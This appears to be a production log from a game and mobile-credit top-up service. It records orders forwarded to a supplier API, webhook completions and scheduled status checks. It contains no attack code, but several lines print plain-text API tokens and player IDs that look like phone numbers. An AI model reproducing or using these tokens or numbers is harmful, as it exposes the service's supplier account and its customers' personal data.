[2026-03-24 17:55:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:55:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:55:37] production.INFO: Constructing job for order: 179054  
[2026-03-24 17:55:38] production.INFO: Handling job for order: 179054  
[2026-03-24 17:55:38] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:55:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:55:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=d21609fa-7007-4da7-8244-a0556bb3d339&Player_ID=0985499121  
[2026-03-24 17:55:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=d21609fa-7007-4da7-8244-a0556bb3d339&Player_ID=0985499121","has_body":false} 
[2026-03-24 17:55:38] production.INFO: Operation sent successfully {"operation_id":163958,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HiBmylc-1774364138","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:55:38"}},"processed_data":{"order_number":"ORD-HiBmylc-1774364138","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:55:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xZFMwOGr-1774363992","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:55:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-xZFMwOGr-1774363992","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:55:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:55:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1258,"notification_type":"order_approved","reference_id":179049} 
[2026-03-24 17:55:51] production.INFO: Order updated successfully. Order ID: 179049, Status: completed  
[2026-03-24 17:55:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xZFMwOGr-1774363992","status":"completed","codes_count":0} 
[2026-03-24 17:55:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1258  
[2026-03-24 17:56:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03"} 
[2026-03-24 17:56:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","total_operations":2,"sites_count":2} 
[2026-03-24 17:56:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 17:56:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 17:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 17:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:56:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1,"order_ids":["ORD-HiBmylc-1774364138"]} 
[2026-03-24 17:56:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1} 
[2026-03-24 17:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 17:56:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:56:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"count":1} 
[2026-03-24 17:56:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"count":1} 
[2026-03-24 17:56:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"user_id":1547,"notification_type":"order_approved","reference_id":179054} 
[2026-03-24 17:56:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:56:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:56:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"processed":1,"errors":0} 
[2026-03-24 17:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958,"processed":1,"errors":0} 
[2026-03-24 17:56:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Y9E3C2jeRvO84AbSyQXREiLpgtxaVRkU","execution_time":"2026-03-24 17:56:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HiBmylc-1774364138","operation_id":163958} 
[2026-03-24 17:56:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1547  
[2026-03-24 17:56:47] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"4800.0","mainamount":"4800","operation_number":"158522856","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpi3rov799ivbicEY2Zbi"}},"user_id":1292} 
[2026-03-24 17:56:48] production.INFO: Constructing job for order: 179055  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 17:56:48] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 17:56:48] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18661,"user_id":1292,"amount":4800.0,"admins_notified":7} 
[2026-03-24 17:56:51] production.INFO: Handling job for order: 179055  
[2026-03-24 17:56:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:56:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:56:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=7bd7d85f-4253-4fb9-b89b-0fad11c4e8f3&Player_ID=52160134484  
[2026-03-24 17:56:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=7bd7d85f-4253-4fb9-b89b-0fad11c4e8f3&Player_ID=52160134484","has_body":false} 
[2026-03-24 17:56:52] production.INFO: Operation sent successfully {"operation_id":163959,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VTaG7g5G-1774364211","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:56:52"}},"processed_data":{"order_number":"ORD-VTaG7g5G-1774364211","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:57:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VTaG7g5G-1774364211","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:57:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-VTaG7g5G-1774364211","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:57:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:57:06] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":179055} 
[2026-03-24 17:57:06] production.INFO: Order updated successfully. Order ID: 179055, Status: completed  
[2026-03-24 17:57:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VTaG7g5G-1774364211","status":"completed","codes_count":0} 
[2026-03-24 17:57:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 17:57:38] production.INFO: Constructing job for order: 179056  
[2026-03-24 17:57:40] production.INFO: Handling job for order: 179056  
[2026-03-24 17:57:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:57:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:57:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=26ff2fd3-40bc-4cba-beb1-5540cd1b26e6&Player_ID=52277731373  
[2026-03-24 17:57:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=26ff2fd3-40bc-4cba-beb1-5540cd1b26e6&Player_ID=52277731373","has_body":false} 
[2026-03-24 17:57:41] production.INFO: Operation sent successfully {"operation_id":163960,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9Nsw3-1774364260","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:57:41"}},"processed_data":{"order_number":"ORD-9Nsw3-1774364260","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:57:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9Nsw3-1774364260","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:57:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-9Nsw3-1774364260","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:57:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:57:57] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":179056} 
[2026-03-24 17:57:57] production.INFO: Order updated successfully. Order ID: 179056, Status: completed  
[2026-03-24 17:57:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9Nsw3-1774364260","status":"completed","codes_count":0} 
[2026-03-24 17:57:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 17:58:00] production.INFO: Constructing job for order: 179057  
[2026-03-24 17:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02"} 
[2026-03-24 17:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","total_operations":1,"sites_count":1} 
[2026-03-24 17:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 17:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 17:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 17:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Y2Hirt4BEYDoO5YHvnsIzsF24QfwwaFN","execution_time":"2026-03-24 17:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:58:02] production.INFO: Handling job for order: 179057  
[2026-03-24 17:58:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:58:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:58:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3f362edd-f190-4454-86c2-99bdcfafdc4c&Player_ID=13945362213  
[2026-03-24 17:58:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3f362edd-f190-4454-86c2-99bdcfafdc4c&Player_ID=13945362213","has_body":false} 
[2026-03-24 17:58:03] production.INFO: Operation sent successfully {"operation_id":163961,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yOUZnl-1774364283","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:58:03"}},"processed_data":{"order_number":"ORD-yOUZnl-1774364283","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:58:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-yOUZnl-1774364283","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:58:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-yOUZnl-1774364283","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:58:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:58:29] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":179057} 
[2026-03-24 17:58:29] production.INFO: Order updated successfully. Order ID: 179057, Status: completed  
[2026-03-24 17:58:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-yOUZnl-1774364283","status":"completed","codes_count":0} 
[2026-03-24 17:58:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 18:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03"} 
[2026-03-24 18:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","total_operations":1,"sites_count":1} 
[2026-03-24 18:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 18:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 18:00:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6OFRD2YbYJflp14usbNeUBYNJ9dqDioJ","execution_time":"2026-03-24 18:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:00:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:00:06] production.INFO: async() رجع: true  
[2026-03-24 18:00:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:00:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:00:23] production.INFO: Constructing job for order: 179058  
[2026-03-24 18:00:24] production.INFO: Constructing job for order: 179059  
[2026-03-24 18:00:25] production.INFO: Handling job for order: 179058  
[2026-03-24 18:00:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:00:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:00:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a295299d-1264-447e-af70-28f179cb565c&Player_ID=51896062623  
[2026-03-24 18:00:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a295299d-1264-447e-af70-28f179cb565c&Player_ID=51896062623","has_body":false} 
[2026-03-24 18:00:26] production.INFO: Operation sent successfully {"operation_id":163962,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fT8d-1774364426","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:00:26"}},"processed_data":{"order_number":"ORD-fT8d-1774364426","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:00:26] production.INFO: Handling job for order: 179059  
[2026-03-24 18:00:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:00:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:00:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=fbf19aa3-23fa-41e0-a176-058a85d660f6&Player_ID=3792362118  
[2026-03-24 18:00:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=fbf19aa3-23fa-41e0-a176-058a85d660f6&Player_ID=3792362118","has_body":false} 
[2026-03-24 18:00:27] production.INFO: Operation sent successfully {"operation_id":163963,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9aSWwFO-1774364426","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 18:00:27"}},"processed_data":{"order_number":"ORD-9aSWwFO-1774364426","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 18:00:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fT8d-1774364426","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:00:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-fT8d-1774364426","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:00:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:00:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":179058} 
[2026-03-24 18:00:39] production.INFO: Order updated successfully. Order ID: 179058, Status: completed  
[2026-03-24 18:00:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fT8d-1774364426","status":"completed","codes_count":0} 
[2026-03-24 18:00:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 18:00:55] production.INFO: Constructing job for order: 179060  
[2026-03-24 18:00:57] production.INFO: Handling job for order: 179060  
[2026-03-24 18:00:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:00:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:00:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=700e30a8-35c4-4e69-8b06-98377dd2fe33&Player_ID=0954640593  
[2026-03-24 18:00:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=700e30a8-35c4-4e69-8b06-98377dd2fe33&Player_ID=0954640593","has_body":false} 
[2026-03-24 18:00:58] production.INFO: Operation sent successfully {"operation_id":163964,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QKWps4-1774364457","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:00:58"}},"processed_data":{"order_number":"ORD-QKWps4-1774364457","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:01:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9aSWwFO-1774364426","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:01:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-9aSWwFO-1774364426","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:01:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:01:00] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":179059} 
[2026-03-24 18:01:00] production.INFO: Order updated successfully. Order ID: 179059, Status: completed  
[2026-03-24 18:01:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9aSWwFO-1774364426","status":"completed","codes_count":0} 
[2026-03-24 18:01:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 18:01:15] production.INFO: Constructing job for order: 179061  
[2026-03-24 18:01:16] production.INFO: Handling job for order: 179061  
[2026-03-24 18:01:16] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
